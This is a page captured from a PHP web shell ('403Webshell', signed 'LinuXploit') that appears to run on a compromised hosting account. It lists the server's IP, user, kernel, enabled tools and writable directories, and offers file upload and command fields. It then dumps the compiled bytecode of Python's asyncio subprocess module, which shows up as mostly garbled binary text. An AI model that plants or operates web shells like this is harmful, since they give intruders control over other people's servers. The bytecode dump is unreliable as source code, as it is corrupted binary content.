403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/libexec/oracle-cloud-agent/plugins/osms/asyncio/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/libexec/oracle-cloud-agent/plugins/osms/asyncio/subprocess.pyc
a

���d��@s�dZddlZddlZddlmZddlmZddlmZddlmZddlm	Z	ej
Z
ejZejZGd	d
�d
ej
ej�ZGdd�d�Zddddejfd
d�Zddddejd�dd�ZdS))�create_subprocess_exec�create_subprocess_shell�N�)�events)�	protocols)�streams)�tasks)�loggercsXeZdZdZ�fdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Z�ZS)�SubprocessStreamProtocolz0Like StreamReaderProtocol, but for a subprocess.csHt�j|d�||_d|_|_|_d|_d|_g|_|j	�
�|_dS)N��loopF)�super�__init__�_limit�stdin�stdout�stderr�
_transport�_process_exited�	_pipe_fds�_loop�
create_future�
_stdin_closed)�self�limitr��	__class__��*/usr/lib64/python3.9/asyncio/subprocess.pyrsz!SubprocessStreamProtocol.__init__cCsn|jjg}|jdur&|�d|j���|jdurB|�d|j���|jdur^|�d|j���d�d�|��S)Nzstdin=zstdout=zstderr=z<{}>� )r�__name__r�appendrr�format�join)r�inforrr�__repr__s



z!SubprocessStreamProtocol.__repr__cCs�||_|�d�}|durDtj|j|jd�|_|j�|�|j�	d�|�d�}|dur�tj|j|jd�|_
|j
�|�|j�	d�|�d�}|dur�tj||d|jd�|_dS)Nr�rr�r)�protocol�readerr)
r�get_pipe_transportr�StreamReaderrrr�
set_transportrr!r�StreamWriterr)r�	transport�stdout_transport�stderr_transport�stdin_transportrrr�connection_made)s,
�
�
�z(SubprocessStreamProtocol.connection_madecCs:|dkr|j}n|dkr |j}nd}|dur6|�|�dS)Nrr')rr�	feed_data)r�fd�datar)rrr�pipe_data_receivedAsz+SubprocessStreamProtocol.pipe_data_receivedcCs�|dkrN|j}|dur|��|�|�|dur>|j�d�n|j�|�dS|dkr^|j}n|dkrn|j}nd}|dur�|dur�|��n
|�|�||j	vr�|j	�
|�|��dS)Nrrr')r�close�connection_lostr�
set_result�
set_exceptionrr�feed_eofr�remove�_maybe_close_transport)rr4�exc�piper)rrr�pipe_connection_lostKs*



z-SubprocessStreamProtocol.pipe_connection_lostcCsd|_|��dS)NT)rr=�rrrr�process_exitedfsz'SubprocessStreamProtocol.process_exitedcCs(t|j�dkr$|jr$|j��d|_dS)Nr)�lenrrrr7rArrrr=js
z/SubprocessStreamProtocol._maybe_close_transportcCs||jur|jSdS�N)rr)r�streamrrr�_get_close_waiteros
z*SubprocessStreamProtocol._get_close_waiter)
r �
__module__�__qualname__�__doc__rr%r2r6r@rBr=rF�
__classcell__rrrrr
s	

r
c@sjeZdZdd�Zdd�Zedd��Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�Zdd�Zdd�Z
ddd�ZdS)�ProcesscCs8||_||_||_|j|_|j|_|j|_|��|_dSrD)r�	_protocolrrrr�get_pid�pid)rr.r(rrrrruszProcess.__init__cCsd|jj�d|j�d�S)N�<r�>)rr rNrArrrr%~szProcess.__repr__cCs
|j��SrD)r�get_returncoderArrr�
returncode�szProcess.returncodec�s|j��IdHS)z?Wait until the process exit and return the process return code.N)r�_waitrArrr�wait�szProcess.waitcCs|j�|�dSrD)r�send_signal)r�signalrrrrU�szProcess.send_signalcCs|j��dSrD)r�	terminaterArrrrW�szProcess.terminatecCs|j��dSrD)r�killrArrrrX�szProcess.killc
�s�|j��}|j�|�|r,t�d|t|��z|j��IdHWn:tt	fyz}z|rft�d||�WYd}~n
d}~00|r�t�d|�|j�
�dS)Nz%%r communicate: feed stdin (%s bytes)z%r communicate: stdin got %rz%r communicate: close stdin)r�	get_debugr�writer	�debugrC�drain�BrokenPipeError�ConnectionResetErrorr7)r�inputr[r>rrr�_feed_stdin�s

�$zProcess._feed_stdinc�sdSrDrrArrr�_noop�sz
Process._noopc�s�|j�|�}|dkr|j}n|dks(J�|j}|j��rV|dkrDdnd}t�d||�|��IdH}|j��r�|dkrzdnd}t�d||�|�	�|S)Nr'rrrz%r communicate: read %sz%r communicate: close %s)
rr*rrrrYr	r[�readr7)rr4r.rE�name�outputrrr�_read_stream�s

zProcess._read_streamNc�s�|dur|�|�}n|��}|jdur2|�d�}n|��}|jdurP|�d�}n|��}tj||||jd�IdH\}}}|��IdH||fS)Nrr'r)	r`rarrerr�_gatherrrT)rr_rrrrrr�communicate�s


�zProcess.communicate)N)r rGrHrr%�propertyrRrTrUrWrXr`rarergrrrrrKts	
rKc
�sb�durt���ntjdtdd���fdd�}�j||f|||d�|��IdH\}}	t||	��S)N�ZThe loop argument is deprecated since Python 3.8 and scheduled for removal in Python 3.10.r'��
stacklevelcst��d�S�Nr&�r
rr&rr�<lambda>�s�z)create_subprocess_shell.<locals>.<lambda>�rrr)r�get_event_loop�warnings�warn�DeprecationWarning�subprocess_shellrK)
�cmdrrrrr�kwds�protocol_factoryr.r(rr&rr�s"
����r)rrrrrc�sh�durt���ntjdtdd���fdd�}�j||g|�R|||d�|��IdH\}	}
t|	|
��S)Nrir'rjcst��d�Srlrmrr&rrrn�s�z(create_subprocess_exec.<locals>.<lambda>ro)rrprqrrrs�subprocess_execrK)�programrrrrr�argsrvrwr.r(rr&rr�s&
�����r)�__all__�
subprocessrq�rrrr�logr	�PIPE�STDOUT�DEVNULL�FlowControlMixin�SubprocessProtocolr
rK�_DEFAULT_LIMITrrrrrr�<module>s*�bV�
�

Youez - 2016 - github.com/yon3zu
LinuXploit